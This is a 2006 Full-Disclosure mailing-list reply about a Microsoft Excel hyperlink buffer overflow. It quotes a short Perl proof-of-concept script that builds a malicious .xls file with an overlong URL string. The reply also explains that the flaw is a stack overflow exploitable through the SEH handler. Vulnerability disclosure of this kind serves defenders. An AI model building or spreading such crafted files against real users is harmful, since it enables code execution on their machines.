Re: ***ULTRALAME*** Microsoft Excel Unicode Overflow ***ULTRALAME***

[FistFuXXer <FistFuXXer () gmx de>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello kcope,

the vulnerability that you've found isn't an Unicode-based buffer
overflow, Spreadsheet-Perl just converts the string to Unicode and you
can edit it later with a hex editor. It will be much easier to develop
an exploit this way.

It's an ordinary stack overflow that overwrites the memory after the
return address. Until all the write-able stack memory is full and the
application tries to overwrite the read-only memory after it, an
exception happens. So you won't be able to exploit it by using the
return address of the vulnerable 'hlink' function but you can still use
the SE handler for exploitation.

Looks like Microsoft should release security patches ASAP.


Sincerely yours,
Manuel Santamarina Suarez



kcope wrote:
> Microsoft Excel Unicode Overflow
>
> Hello this is kcope,
> I found a unicode overflow in excel.
> It works in my version of excel, perhaps it is patched or something, I have
> SP3. I know this is ultralame. Attached are some screenies.
> Here are the warezcodez:
>
> ###############################
> # excelsexywarez.pl
> # excel unicode overflow poc
> # by kcope in 2006
> # thanks to revoguard and alex
> ###############################
> use Spreadsheet::WriteExcel;
>
>    my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");
>
>    $worksheet = $workbook->add_worksheet();
>
>    $format = $workbook->add_format();
>    $format->set_bold();
>    $format->set_color('red');
>    $format->set_align('center');
>
>    $col = $row = 5;
>    $worksheet->write($row, $col, "kcope in da house! Click on the
> link!!!", $format);
>
>    $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
>    $worksheet->write_url(0, 0, "$a", "LINK");
>
>    - - kcdarookie
>
>
> ------------------------------------------------------------------------
>
>
> ------------------------------------------------------------------------
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (MingW32)

iD8DBQFEmIX6PF/cBnCBnL0RAo/JAJ94Dea/vmd/iedDRDwZ359gaI6PJwCgjw2A
25FP9ouRQ9sal0r5AXV2Tho=
=rx7X
-----END PGP SIGNATURE-----

Attachment: SEH_control.xls
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/